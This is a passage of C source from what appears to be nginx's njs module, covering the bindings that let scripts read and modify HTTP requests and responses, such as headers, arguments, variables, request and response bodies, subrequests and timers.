ngx_http_request_t *r;\n\n r = njs_vm_external(vm, value);\n if (r == NULL) {\n njs_value_undefined_set(retval);\n return NJS_DECLINED;\n }\n\n if (setval == NULL) {\n njs_value_number_set(retval, r->headers_out.status);\n return NJS_OK;\n }\n\n rc = ngx_http_js_string(vm, setval, &s);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n\n n = ngx_atoi(s.start, s.length);\n if (n == NGX_ERROR) {\n return NJS_ERROR;\n }\n\n r->headers_out.status = n;\n\n return NJS_OK;\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_send_header(njs_vm_t *vm, njs_value_t *args, njs_uint_t nargs,\n njs_index_t unused)\n{\n ngx_http_request_t *r;\n\n r = njs_vm_external(vm, njs_arg(args, nargs, 0));\n if (r == NULL) {\n njs_vm_error(vm, \"\\\"this\\\" is not an external\");\n return NJS_ERROR;\n }\n\n if (ngx_http_set_content_type(r) != NGX_OK) {\n return NJS_ERROR;\n }\n\n if (ngx_http_send_header(r) == NGX_ERROR) {\n return NJS_ERROR;\n }\n\n njs_value_undefined_set(njs_vm_retval(vm));\n\n return NJS_OK;\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_send(njs_vm_t *vm, njs_value_t *args, njs_uint_t nargs,\n njs_index_t unused)\n{\n njs_int_t ret;\n njs_str_t s;\n ngx_buf_t *b;\n uintptr_t next;\n ngx_uint_t n;\n ngx_chain_t *out, *cl, **ll;\n ngx_http_request_t *r;\n\n r = njs_vm_external(vm, njs_arg(args, nargs, 0));\n if (r == NULL) {\n njs_vm_error(vm, \"\\\"this\\\" is not an external\");\n return NJS_ERROR;\n }\n\n out = NULL;\n ll = &out;\n\n for (n = 1; n < nargs; n++) {\n next = 0;\n\n for ( ;; ) {\n ret = njs_vm_value_string_copy(vm, &s, njs_argument(args, n),\n &next);\n\n if (ret == NJS_DECLINED) {\n break;\n }\n\n if (ret == NJS_ERROR) {\n return NJS_ERROR;\n }\n\n if (s.length == 0) {\n continue;\n }\n\n /* TODO: njs_value_release(vm, value) in buf completion */\n\n b = ngx_calloc_buf(r->pool);\n if (b == NULL) {\n return NJS_ERROR;\n }\n\n b->start = s.start;\n b->pos = b->start;\n b->end = s.start + s.length;\n b->last = b->end;\n b->memory = 1;\n\n cl = ngx_alloc_chain_link(r->pool);\n if (cl == NULL) {\n return NJS_ERROR;\n }\n\n cl->buf = b;\n\n *ll = cl;\n ll = &cl->next;\n }\n }\n\n *ll = NULL;\n\n if (ngx_http_output_filter(r, out) == NGX_ERROR) {\n return NJS_ERROR;\n }\n\n njs_value_undefined_set(njs_vm_retval(vm));\n\n return NJS_OK;\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_finish(njs_vm_t *vm, njs_value_t *args, njs_uint_t nargs,\n njs_index_t unused)\n{\n ngx_http_js_ctx_t *ctx;\n ngx_http_request_t *r;\n\n r = njs_vm_external(vm, njs_arg(args, nargs, 0));\n if (r == NULL) {\n njs_vm_error(vm, \"\\\"this\\\" is not an external\");\n return NJS_ERROR;\n }\n\n if (ngx_http_send_special(r, NGX_HTTP_LAST) == NGX_ERROR) {\n return NJS_ERROR;\n }\n\n ctx = ngx_http_get_module_ctx(r, ngx_http_js_module);\n\n ctx->status = NGX_OK;\n\n njs_value_undefined_set(njs_vm_retval(vm));\n\n return NJS_OK;\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_return(njs_vm_t *vm, njs_value_t *args, njs_uint_t nargs,\n njs_index_t unused)\n{\n njs_str_t text;\n ngx_int_t status;\n njs_value_t *value;\n ngx_http_js_ctx_t *ctx;\n ngx_http_request_t *r;\n ngx_http_complex_value_t cv;\n\n r = njs_vm_external(vm, njs_arg(args, nargs, 0));\n if (r == NULL) {\n njs_vm_error(vm, \"\\\"this\\\" is not an external\");\n return NJS_ERROR;\n }\n\n value = njs_arg(args, nargs, 1);\n if (!njs_value_is_valid_number(value)) {\n njs_vm_error(vm, \"code is not a number\");\n return NJS_ERROR;\n }\n\n status = njs_value_number(value);\n\n if (status < 0 || status > 999) {\n njs_vm_error(vm, \"code is out of range\");\n return NJS_ERROR;\n }\n\n if (ngx_http_js_string(vm, njs_arg(args, nargs, 2), &text) != NJS_OK) {\n njs_vm_error(vm, \"failed to convert text\");\n return NJS_ERROR;\n }\n\n ctx = ngx_http_get_module_ctx(r, ngx_http_js_module);\n\n if (status < NGX_HTTP_BAD_REQUEST || text.length) {\n ngx_memzero(&cv, sizeof(ngx_http_complex_value_t));\n\n cv.value.data = text.start;\n cv.value.len = text.length;\n\n ctx->status = ngx_http_send_response(r, status, NULL, &cv);\n\n if (ctx->status == NGX_ERROR) {\n njs_vm_error(vm, \"failed to send response\");\n return NJS_ERROR;\n }\n\n } else {\n ctx->status = status;\n }\n\n njs_value_undefined_set(njs_vm_retval(vm));\n\n return NJS_OK;\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_internal_redirect(njs_vm_t *vm, njs_value_t *args,\n njs_uint_t nargs, njs_index_t unused)\n{\n njs_str_t uri;\n ngx_http_js_ctx_t *ctx;\n ngx_http_request_t *r;\n\n r = njs_vm_external(vm, njs_arg(args, nargs, 0));\n if (r == NULL) {\n njs_vm_error(vm, \"\\\"this\\\" is not an external\");\n return NJS_ERROR;\n }\n\n ctx = ngx_http_get_module_ctx(r, ngx_http_js_module);\n\n if (ngx_http_js_string(vm, njs_arg(args, nargs, 1), &uri) != NJS_OK) {\n njs_vm_error(vm, \"failed to convert uri arg\");\n return NJS_ERROR;\n }\n\n if (uri.length == 0) {\n njs_vm_error(vm, \"uri is empty\");\n return NJS_ERROR;\n }\n\n ctx->redirect_uri.data = uri.start;\n ctx->redirect_uri.len = uri.length;\n\n ctx->status = NGX_DONE;\n\n njs_value_undefined_set(njs_vm_retval(vm));\n\n return NJS_OK;\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_log(njs_vm_t *vm, njs_value_t *args, njs_uint_t nargs,\n njs_index_t level)\n{\n njs_str_t msg;\n ngx_connection_t *c;\n ngx_log_handler_pt handler;\n ngx_http_request_t *r;\n\n r = njs_vm_external(vm, njs_arg(args, nargs, 0));\n if (r == NULL) {\n return NJS_ERROR;\n }\n\n c = r->connection;\n\n if (njs_vm_value_to_string(vm, &msg, njs_arg(args, nargs, 1))\n == NJS_ERROR)\n {\n return NJS_ERROR;\n }\n\n handler = c->log->handler;\n c->log->handler = NULL;\n\n ngx_log_error(level, c->log, 0, \"js: %*s\", msg.length, msg.start);\n\n c->log->handler = handler;\n\n njs_value_undefined_set(njs_vm_retval(vm));\n\n return NJS_OK;\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_get_http_version(njs_vm_t *vm, njs_object_prop_t *prop,\n njs_value_t *value, njs_value_t *setval, njs_value_t *retval)\n{\n ngx_str_t v;\n ngx_http_request_t *r;\n\n r = njs_vm_external(vm, value);\n if (r == NULL) {\n njs_value_undefined_set(retval);\n return NJS_DECLINED;\n }\n\n switch (r->http_version) {\n\n case NGX_HTTP_VERSION_9:\n ngx_str_set(&v, \"0.9\");\n break;\n\n case NGX_HTTP_VERSION_10:\n ngx_str_set(&v, \"1.0\");\n break;\n\n case NGX_HTTP_VERSION_11:\n ngx_str_set(&v, \"1.1\");\n break;\n\n case NGX_HTTP_VERSION_20:\n ngx_str_set(&v, \"2.0\");\n break;\n\n#if (NGX_HTTP_VERSION_30)\n case NGX_HTTP_VERSION_30:\n ngx_str_set(&v, \"3.0\");\n break;\n#endif\n\n default:\n ngx_str_set(&v, \"\");\n break;\n }\n\n return njs_vm_value_string_set(vm, retval, v.data, v.len);\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_get_remote_address(njs_vm_t *vm, njs_object_prop_t *prop,\n njs_value_t *value, njs_value_t *setval, njs_value_t *retval)\n{\n ngx_connection_t *c;\n ngx_http_request_t *r;\n\n r = njs_vm_external(vm, value);\n if (r == NULL) {\n njs_value_undefined_set(retval);\n return NJS_DECLINED;\n }\n\n c = r->connection;\n\n return njs_vm_value_string_set(vm, retval, c->addr_text.data,\n c->addr_text.len);\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_get_request_body(njs_vm_t *vm, njs_object_prop_t *prop,\n njs_value_t *value, njs_value_t *setval, njs_value_t *retval)\n{\n u_char *p, *body;\n size_t len;\n ngx_buf_t *buf;\n njs_int_t ret;\n njs_value_t *request_body;\n ngx_chain_t *cl;\n ngx_http_js_ctx_t *ctx;\n ngx_http_request_t *r;\n\n r = njs_vm_external(vm, value);\n if (r == NULL) {\n njs_value_undefined_set(retval);\n return NJS_DECLINED;\n }\n\n ctx = ngx_http_get_module_ctx(r, ngx_http_js_module);\n request_body = (njs_value_t *) &ctx->request_body;\n\n if (!njs_value_is_null(request_body)) {\n njs_value_assign(retval, request_body);\n return NJS_OK;\n }\n\n if (r->request_body == NULL || r->request_body->bufs == NULL) {\n njs_value_undefined_set(retval);\n return NJS_DECLINED;\n }\n\n if (r->request_body->temp_file) {\n njs_vm_error(vm, \"request body is in a file\");\n return NJS_ERROR;\n }\n\n cl = r->request_body->bufs;\n buf = cl->buf;\n\n if (cl->next == NULL) {\n len = buf->last - buf->pos;\n body = buf->pos;\n\n goto done;\n }\n\n len = buf->last - buf->pos;\n cl = cl->next;\n\n for ( /* void */ ; cl; cl = cl->next) {\n buf = cl->buf;\n len += buf->last - buf->pos;\n }\n\n p = ngx_pnalloc(r->pool, len);\n if (p == NULL) {\n njs_vm_memory_error(vm);\n return NJS_ERROR;\n }\n\n body = p;\n cl = r->request_body->bufs;\n\n for ( /* void */ ; cl; cl = cl->next) {\n buf = cl->buf;\n p = ngx_cpymem(p, buf->pos, buf->last - buf->pos);\n }\n\ndone:\n\n ret = njs_vm_value_string_set(vm, request_body, body, len);\n\n if (ret != NJS_OK) {\n return NJS_ERROR;\n }\n\n njs_value_assign(retval, request_body);\n\n return NJS_OK;\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_header_in(njs_vm_t *vm, njs_object_prop_t *prop,\n njs_value_t *value, njs_value_t *setval, njs_value_t *retval)\n{\n njs_int_t rc;\n njs_str_t name;\n ngx_http_request_t *r;\n ngx_http_js_header_t *h;\n\n static ngx_http_js_header_t headers_in[] = {\n { njs_str(\"Content-Type\"), ngx_http_js_header_single },\n { njs_str(\"Cookie\"), ngx_http_js_header_cookie },\n { njs_str(\"ETag\"), ngx_http_js_header_single },\n { njs_str(\"From\"), ngx_http_js_header_single },\n { njs_str(\"Max-Forwards\"), ngx_http_js_header_single },\n { njs_str(\"Referer\"), ngx_http_js_header_single },\n { njs_str(\"Proxy-Authorization\"), ngx_http_js_header_single },\n { njs_str(\"User-Agent\"), ngx_http_js_header_single },\n#if (NGX_HTTP_X_FORWARDED_FOR)\n { njs_str(\"X-Forwarded-For\"), ngx_http_js_header_x_forwarded_for },\n#endif\n { njs_str(\"\"), ngx_http_js_header_generic },\n };\n\n r = njs_vm_external(vm, value);\n if (r == NULL) {\n if (retval != NULL) {\n njs_value_undefined_set(retval);\n }\n\n return NJS_DECLINED;\n }\n\n rc = njs_vm_prop_name(vm, prop, &name);\n if (rc != NJS_OK) {\n if (retval != NULL) {\n njs_value_undefined_set(retval);\n }\n\n return NJS_DECLINED;\n }\n\n for (h = headers_in; h->name.length > 0; h++) {\n if (h->name.length == name.length\n && ngx_strncasecmp(h->name.start, name.start, name.length) == 0)\n {\n break;\n }\n }\n\n return h->handler(vm, r, &r->headers_in.headers, &name, setval, retval);\n}\n\n\nstatic njs_int_t\nngx_http_js_header_cookie(njs_vm_t *vm, ngx_http_request_t *r,\n ngx_list_t *headers, njs_str_t *name, njs_value_t *setval,\n njs_value_t *retval)\n{\n return ngx_http_js_header_in_array(vm, r, &r->headers_in.cookies,\n ';', retval);\n}\n\n\n#if (NGX_HTTP_X_FORWARDED_FOR)\nstatic njs_int_t\nngx_http_js_header_x_forwarded_for(njs_vm_t *vm, ngx_http_request_t *r,\n ngx_list_t *headers, njs_str_t *name, njs_value_t *setval,\n njs_value_t *retval)\n{\n return ngx_http_js_header_in_array(vm, r, &r->headers_in.x_forwarded_for,\n ',', retval);\n}\n#endif\n\n\nstatic njs_int_t\nngx_http_js_header_in_array(njs_vm_t *vm, ngx_http_request_t *r,\n ngx_array_t *array, u_char sep, njs_value_t *retval)\n{\n u_char *p, *end;\n size_t len;\n ngx_uint_t i, n;\n ngx_table_elt_t **hh;\n\n n = array->nelts;\n hh = array->elts;\n\n len = 0;\n\n for (i = 0; i < n; i++) {\n len += hh[i]->value.len + 1;\n }\n\n if (len == 0) {\n njs_value_undefined_set(retval);\n return NJS_DECLINED;\n }\n\n len -= 1;\n\n if (n == 1) {\n return njs_vm_value_string_set(vm, retval, (*hh)->value.data,\n (*hh)->value.len);\n }\n\n p = njs_vm_value_string_alloc(vm, retval, len);\n if (p == NULL) {\n return NJS_ERROR;\n }\n\n end = p + len;\n\n\n for (i = 0; /* void */ ; i++) {\n\n p = ngx_copy(p, hh[i]->value.data, hh[i]->value.len);\n\n if (p == end) {\n break;\n }\n\n *p++ = sep;\n }\n\n return NJS_OK;\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_keys_header_in(njs_vm_t *vm, njs_value_t *value,\n njs_value_t *keys)\n{\n njs_int_t rc;\n ngx_http_request_t *r;\n\n rc = njs_vm_array_alloc(vm, keys, 8);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n\n r = njs_vm_external(vm, value);\n if (r == NULL) {\n return NJS_OK;\n }\n\n return ngx_http_js_ext_keys_header(vm, value, keys, &r->headers_in.headers);\n}\n\nstatic njs_int_t\nngx_http_js_ext_get_arg(njs_vm_t *vm, njs_object_prop_t *prop,\n njs_value_t *value, njs_value_t *setval, njs_value_t *retval)\n{\n njs_int_t rc;\n njs_str_t *v, key;\n ngx_str_t arg;\n ngx_http_request_t *r;\n\n r = njs_vm_external(vm, value);\n if (r == NULL) {\n njs_value_undefined_set(retval);\n return NJS_DECLINED;\n }\n\n rc = njs_vm_prop_name(vm, prop, &key);\n if (rc != NJS_OK) {\n njs_value_undefined_set(retval);\n return NJS_DECLINED;\n }\n\n v = &key;\n\n if (ngx_http_arg(r, v->start, v->length, &arg) == NGX_OK) {\n return njs_vm_value_string_set(vm, retval, arg.data, arg.len);\n }\n\n njs_value_undefined_set(retval);\n\n return NJS_DECLINED;\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_keys_arg(njs_vm_t *vm, njs_value_t *value, njs_value_t *keys)\n{\n u_char *v, *p, *start, *end;\n njs_int_t rc;\n ngx_http_request_t *r;\n\n rc = njs_vm_array_alloc(vm, keys, 8);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n\n r = njs_vm_external(vm, value);\n if (r == NULL) {\n return NJS_OK;\n }\n\n start = r->args.data;\n end = start + r->args.len;\n\n while (start < end) {\n p = ngx_strlchr(start, end, '&');\n if (p == NULL) {\n p = end;\n }\n\n v = ngx_strlchr(start, p, '=');\n if (v == NULL) {\n v = p;\n }\n\n if (v != start) {\n value = njs_vm_array_push(vm, keys);\n if (value == NULL) {\n return NJS_ERROR;\n }\n\n rc = njs_vm_value_string_set(vm, value, start, v - start);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n }\n\n start = p + 1;\n }\n\n return NJS_OK;\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_variables(njs_vm_t *vm, njs_object_prop_t *prop,\n njs_value_t *value, njs_value_t *setval, njs_value_t *retval)\n{\n njs_int_t rc;\n njs_str_t val, s;\n ngx_str_t name;\n ngx_uint_t key;\n ngx_http_request_t *r;\n ngx_http_variable_t *v;\n ngx_http_core_main_conf_t *cmcf;\n ngx_http_variable_value_t *vv;\n\n r = njs_vm_external(vm, value);\n if (r == NULL) {\n njs_value_undefined_set(retval);\n return NJS_DECLINED;\n }\n\n rc = njs_vm_prop_name(vm, prop, &val);\n if (rc != NJS_OK) {\n njs_value_undefined_set(retval);\n return NJS_DECLINED;\n }\n\n name.data = val.start;\n name.len = val.length;\n\n if (setval == NULL) {\n key = ngx_hash_strlow(name.data, name.data, name.len);\n\n vv = ngx_http_get_variable(r, &name, key);\n if (vv == NULL || vv->not_found) {\n njs_value_undefined_set(retval);\n return NJS_DECLINED;\n }\n\n return njs_vm_value_string_set(vm, retval, vv->data, vv->len);\n }\n\n cmcf = ngx_http_get_module_main_conf(r, ngx_http_core_module);\n\n key = ngx_hash_strlow(name.data, name.data, name.len);\n\n v = ngx_hash_find(&cmcf->variables_hash, key, name.data, name.len);\n\n if (v == NULL) {\n njs_vm_error(vm, \"variable not found\");\n return NJS_ERROR;\n }\n\n rc = ngx_http_js_string(vm, setval, &s);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n\n if (v->set_handler != NULL) {\n vv = ngx_pcalloc(r->pool, sizeof(ngx_http_variable_value_t));\n if (vv == NULL) {\n njs_vm_error(vm, \"internal error\");\n return NJS_ERROR;\n }\n\n vv->valid = 1;\n vv->not_found = 0;\n vv->data = s.start;\n vv->len = s.length;\n\n v->set_handler(r, vv, v->data);\n\n return NJS_OK;\n }\n\n if (!(v->flags & NGX_HTTP_VAR_INDEXED)) {\n njs_vm_error(vm, \"variable is not writable\");\n return NJS_ERROR;\n }\n\n vv = &r->variables[v->index];\n\n vv->valid = 1;\n vv->not_found = 0;\n\n vv->data = ngx_pnalloc(r->pool, s.length);\n if (vv->data == NULL) {\n njs_vm_error(vm, \"internal error\");\n return NJS_ERROR;\n }\n\n vv->len = s.length;\n ngx_memcpy(vv->data, s.start, vv->len);\n\n return NJS_OK;\n}\n\n\nstatic njs_int_t\nngx_http_js_promise_trampoline(njs_vm_t *vm, njs_value_t *args,\n njs_uint_t nargs, njs_index_t unused)\n{\n njs_function_t *callback;\n ngx_http_js_ctx_t *ctx;\n ngx_http_request_t *r;\n\n r = njs_vm_external(vm, njs_argument(args, 1));\n ctx = ngx_http_get_module_ctx(r, ngx_http_js_module);\n\n ngx_log_debug1(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,\n \"js subrequest promise trampoline ctx: %p\", ctx);\n\n callback = njs_value_function(njs_value_arg(&ctx->promise_callbacks[0]));\n\n return njs_vm_call(vm, callback, njs_argument(args, 1), 1);\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_subrequest(njs_vm_t *vm, njs_value_t *args, njs_uint_t nargs,\n njs_index_t unused)\n{\n ngx_int_t rc, promise;\n njs_str_t uri_arg, args_arg, method_name, body_arg;\n ngx_uint_t method, methods_max, has_body, detached;\n njs_value_t *value, *arg, *options;\n njs_function_t *callback;\n ngx_http_js_ctx_t *ctx;\n njs_opaque_value_t lvalue;\n ngx_http_request_t *r, *sr;\n ngx_http_request_body_t *rb;\n\n static const struct {\n ngx_str_t name;\n ngx_uint_t value;\n } methods[] = {\n { ngx_string(\"GET\"), NGX_HTTP_GET },\n { ngx_string(\"POST\"), NGX_HTTP_POST },\n { ngx_string(\"HEAD\"), NGX_HTTP_HEAD },\n { ngx_string(\"OPTIONS\"), NGX_HTTP_OPTIONS },\n { ngx_string(\"PROPFIND\"), NGX_HTTP_PROPFIND },\n { ngx_string(\"PUT\"), NGX_HTTP_PUT },\n { ngx_string(\"MKCOL\"), NGX_HTTP_MKCOL },\n { ngx_string(\"DELETE\"), NGX_HTTP_DELETE },\n { ngx_string(\"COPY\"), NGX_HTTP_COPY },\n { ngx_string(\"MOVE\"), NGX_HTTP_MOVE },\n { ngx_string(\"PROPPATCH\"), NGX_HTTP_PROPPATCH },\n { ngx_string(\"LOCK\"), NGX_HTTP_LOCK },\n { ngx_string(\"UNLOCK\"), NGX_HTTP_UNLOCK },\n { ngx_string(\"PATCH\"), NGX_HTTP_PATCH },\n { ngx_string(\"TRACE\"), NGX_HTTP_TRACE },\n };\n\n static const njs_str_t args_key = njs_str(\"args\");\n static const njs_str_t method_key = njs_str(\"method\");\n static const njs_str_t body_key = njs_str(\"body\");\n static const njs_str_t detached_key = njs_str(\"detached\");\n\n r = njs_vm_external(vm, njs_arg(args, nargs, 0));\n if (r == NULL) {\n njs_vm_error(vm, \"\\\"this\\\" is not an external\");\n return NJS_ERROR;\n }\n\n ctx = ngx_http_get_module_ctx(r, ngx_http_js_module);\n\n if (ctx->vm != vm) {\n njs_vm_error(vm, \"subrequest can only be created for \"\n \"the primary request\");\n return NJS_ERROR;\n }\n\n if (ngx_http_js_string(vm, njs_arg(args, nargs, 1), &uri_arg) != NJS_OK) {\n njs_vm_error(vm, \"failed to convert uri arg\");\n return NJS_ERROR;\n }\n\n if (uri_arg.length == 0) {\n njs_vm_error(vm, \"uri is empty\");\n return NJS_ERROR;\n }\n\n options = NULL;\n callback = NULL;\n\n method = 0;\n methods_max = sizeof(methods) / sizeof(methods[0]);\n\n args_arg.length = 0;\n args_arg.start = NULL;\n has_body = 0;\n promise = 0;\n detached = 0;\n\n arg = njs_arg(args, nargs, 2);\n\n if (njs_value_is_string(arg)) {\n if (njs_vm_value_to_string(vm, &args_arg, arg) != NJS_OK) {\n njs_vm_error(vm, \"failed to convert args\");\n return NJS_ERROR;\n }\n\n } else if (njs_value_is_function(arg)) {\n callback = njs_value_function(arg);\n\n } else if (njs_value_is_object(arg)) {\n options = arg;\n\n } else if (!njs_value_is_null_or_undefined(arg)) {\n njs_vm_error(vm, \"failed to convert args\");\n return NJS_ERROR;\n }\n\n if (options != NULL) {\n value = njs_vm_object_prop(vm, options, &args_key, &lvalue);\n if (value != NULL) {\n if (ngx_http_js_string(vm, value, &args_arg) != NJS_OK) {\n njs_vm_error(vm, \"failed to convert options.args\");\n return NJS_ERROR;\n }\n }\n\n value = njs_vm_object_prop(vm, options, &detached_key, &lvalue);\n if (value != NULL) {\n detached = njs_value_bool(value);\n }\n\n value = njs_vm_object_prop(vm, options, &method_key, &lvalue);\n if (value != NULL) {\n if (ngx_http_js_string(vm, value, &method_name) != NJS_OK) {\n njs_vm_error(vm, \"failed to convert options.method\");\n return NJS_ERROR;\n }\n\n while (method < methods_max) {\n if (method_name.length == methods[method].name.len\n && ngx_memcmp(method_name.start, methods[method].name.data,\n method_name.length)\n == 0)\n {\n break;\n }\n\n method++;\n }\n }\n\n value = njs_vm_object_prop(vm, options, &body_key, &lvalue);\n if (value != NULL) {\n if (ngx_http_js_string(vm, value, &body_arg) != NJS_OK) {\n njs_vm_error(vm, \"failed to convert options.body\");\n return NJS_ERROR;\n }\n\n has_body = 1;\n }\n }\n\n arg = njs_arg(args, nargs, 3);\n\n if (callback == NULL && !njs_value_is_undefined(arg)) {\n if (!njs_value_is_function(arg)) {\n njs_vm_error(vm, \"callback is not a function\");\n return NJS_ERROR;\n\n } else {\n callback = njs_value_function(arg);\n }\n }\n\n if (detached && callback != NULL) {\n njs_vm_error(vm, \"detached flag and callback are mutually exclusive\");\n return NJS_ERROR;\n }\n\n if (!detached && callback == NULL) {\n callback = njs_vm_function_alloc(vm, ngx_http_js_promise_trampoline);\n if (callback == NULL) {\n goto memory_error;\n }\n\n promise = 1;\n }\n\n rc = ngx_http_js_subrequest(r, &uri_arg, &args_arg, callback, &sr);\n if (rc != NGX_OK) {\n return NJS_ERROR;\n }\n\n if (method != methods_max) {\n sr->method = methods[method].value;\n sr->method_name = methods[method].name;\n\n } else {\n sr->method = NGX_HTTP_UNKNOWN;\n sr->method_name.len = method_name.length;\n sr->method_name.data = method_name.start;\n }\n\n sr->header_only = (sr->method == NGX_HTTP_HEAD) || (callback == NULL);\n\n if (has_body) {\n rb = ngx_pcalloc(r->pool, sizeof(ngx_http_request_body_t));\n if (rb == NULL) {\n goto memory_error;\n }\n\n if (body_arg.length != 0) {\n rb->bufs = ngx_alloc_chain_link(r->pool);\n if (rb->bufs == NULL) {\n goto memory_error;\n }\n\n rb->bufs->next = NULL;\n\n rb->bufs->buf = ngx_calloc_buf(r->pool);\n if (rb->bufs->buf == NULL) {\n goto memory_error;\n }\n\n rb->bufs->buf->memory = 1;\n rb->bufs->buf->last_buf = 1;\n\n rb->bufs->buf->pos = body_arg.start;\n rb->bufs->buf->last = body_arg.start + body_arg.length;\n }\n\n sr->request_body = rb;\n sr->headers_in.content_length_n = body_arg.length;\n sr->headers_in.chunked = 0;\n }\n\n if (promise) {\n ctx = ngx_pcalloc(sr->pool, sizeof(ngx_http_js_ctx_t));\n if (ctx == NULL) {\n return NGX_ERROR;\n }\n\n ngx_http_set_ctx(sr, ctx, ngx_http_js_module);\n\n return njs_vm_promise_create(vm, njs_vm_retval(vm),\n njs_value_arg(&ctx->promise_callbacks));\n }\n\n njs_value_undefined_set(njs_vm_retval(vm));\n\n return NJS_OK;\n\nmemory_error:\n\n njs_vm_error(ctx->vm, \"internal error\");\n\n return NJS_ERROR;\n}\n\n\nstatic ngx_int_t\nngx_http_js_subrequest(ngx_http_request_t *r, njs_str_t *uri_arg,\n njs_str_t *args_arg, njs_function_t *callback, ngx_http_request_t **sr)\n{\n ngx_int_t flags;\n ngx_str_t uri, args;\n njs_vm_event_t vm_event;\n ngx_http_js_ctx_t *ctx;\n ngx_http_post_subrequest_t *ps;\n\n ctx = ngx_http_get_module_ctx(r, ngx_http_js_module);\n\n flags = NGX_HTTP_SUBREQUEST_BACKGROUND;\n\n if (callback != NULL) {\n ps = ngx_palloc(r->pool, sizeof(ngx_http_post_subrequest_t));\n if (ps == NULL) {\n njs_vm_error(ctx->vm, \"internal error\");\n return NJS_ERROR;\n }\n\n vm_event = njs_vm_add_event(ctx->vm, callback, 1, NULL, NULL);\n if (vm_event == NULL) {\n njs_vm_error(ctx->vm, \"internal error\");\n return NJS_ERROR;\n }\n\n ps->handler = ngx_http_js_subrequest_done;\n ps->data = vm_event;\n\n flags |= NGX_HTTP_SUBREQUEST_IN_MEMORY;\n\n } else {\n ps = NULL;\n vm_event = NULL;\n }\n\n uri.len = uri_arg->length;\n uri.data = uri_arg->start;\n\n args.len = args_arg->length;\n args.data = args_arg->start;\n\n if (ngx_http_subrequest(r, &uri, args.len ? &args : NULL, sr, ps, flags)\n != NGX_OK)\n {\n if (vm_event != NULL) {\n njs_vm_del_event(ctx->vm, vm_event);\n }\n\n njs_vm_error(ctx->vm, \"subrequest creation failed\");\n return NJS_ERROR;\n }\n\n return NJS_OK;\n}\n\n\nstatic ngx_int_t\nngx_http_js_subrequest_done(ngx_http_request_t *r, void *data, ngx_int_t rc)\n{\n njs_vm_event_t vm_event = data;\n\n njs_int_t ret;\n ngx_http_js_ctx_t *ctx;\n njs_opaque_value_t reply;\n ngx_http_js_main_conf_t *jmcf;\n\n if (rc != NGX_OK || r->connection->error || r->buffered) {\n return rc;\n }\n\n ctx = ngx_http_get_module_ctx(r, ngx_http_js_module);\n\n if (ctx && ctx->done) {\n return NGX_OK;\n }\n\n if (ctx == NULL) {\n ctx = ngx_pcalloc(r->pool, sizeof(ngx_http_js_ctx_t));\n if (ctx == NULL) {\n return NGX_ERROR;\n }\n\n ngx_http_set_ctx(r, ctx, ngx_http_js_module);\n }\n\n ctx->done = 1;\n\n jmcf = ngx_http_get_module_main_conf(r, ngx_http_js_module);\n\n ctx = ngx_http_get_module_ctx(r->parent, ngx_http_js_module);\n\n ngx_log_debug2(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,\n \"js subrequest done s: %ui parent ctx: %p\",\n r->headers_out.status, ctx);\n\n if (ctx == NULL) {\n ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,\n \"js subrequest: failed to get the parent context\");\n\n return NGX_ERROR;\n }\n\n ret = njs_vm_external_create(ctx->vm, njs_value_arg(&reply),\n jmcf->req_proto, r, 0);\n if (ret != NJS_OK) {\n ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,\n \"js subrequest reply creation failed\");\n\n return NGX_ERROR;\n }\n\n ngx_http_js_handle_event(r->parent, vm_event, njs_value_arg(&reply), 1);\n\n return NGX_OK;\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_get_parent(njs_vm_t *vm, njs_object_prop_t *prop,\n njs_value_t *value, njs_value_t *setval, njs_value_t *retval)\n{\n ngx_http_js_ctx_t *ctx;\n ngx_http_request_t *r;\n\n r = njs_vm_external(vm, value);\n if (r == NULL) {\n njs_value_undefined_set(retval);\n return NJS_DECLINED;\n }\n\n ctx = r->parent ? ngx_http_get_module_ctx(r->parent, ngx_http_js_module)\n : NULL;\n\n if (ctx == NULL || ctx->vm != vm) {\n njs_value_undefined_set(retval);\n return NJS_DECLINED;\n }\n\n njs_value_assign(retval, njs_value_arg(&ctx->request));\n\n return NJS_OK;\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_get_response_body(njs_vm_t *vm, njs_object_prop_t *prop,\n njs_value_t *value, njs_value_t *setval, njs_value_t *retval)\n{\n size_t len;\n u_char *p;\n ngx_buf_t *b;\n ngx_http_request_t *r;\n\n r = njs_vm_external(vm, value);\n if (r == NULL) {\n njs_value_undefined_set(retval);\n return NJS_DECLINED;\n }\n\n b = r->out ? r->out->buf : NULL;\n\n if (b == NULL) {\n njs_value_undefined_set(retval);\n return NJS_OK;\n }\n\n len = b->last - b->pos;\n\n p = njs_vm_value_string_alloc(vm, retval, len);\n if (p == NULL) {\n return NJS_ERROR;\n }\n\n if (len) {\n ngx_memcpy(p, b->pos, len);\n }\n\n return NJS_OK;\n}\n\n\nstatic njs_host_event_t\nngx_http_js_set_timer(njs_external_ptr_t external, uint64_t delay,\n njs_vm_event_t vm_event)\n{\n ngx_event_t *ev;\n ngx_http_request_t *r;\n ngx_http_js_event_t *js_event;\n\n r = (ngx_http_request_t *) external;\n\n ev = ngx_pcalloc(r->pool, sizeof(ngx_event_t));\n if (ev == NULL) {\n return NULL;\n }\n\n js_event = ngx_palloc(r->pool, sizeof(ngx_http_js_event_t));\n if (js_event == NULL) {\n return NULL;\n }\n\n js_event->request = r;\n js_event->vm_event = vm_event;\n 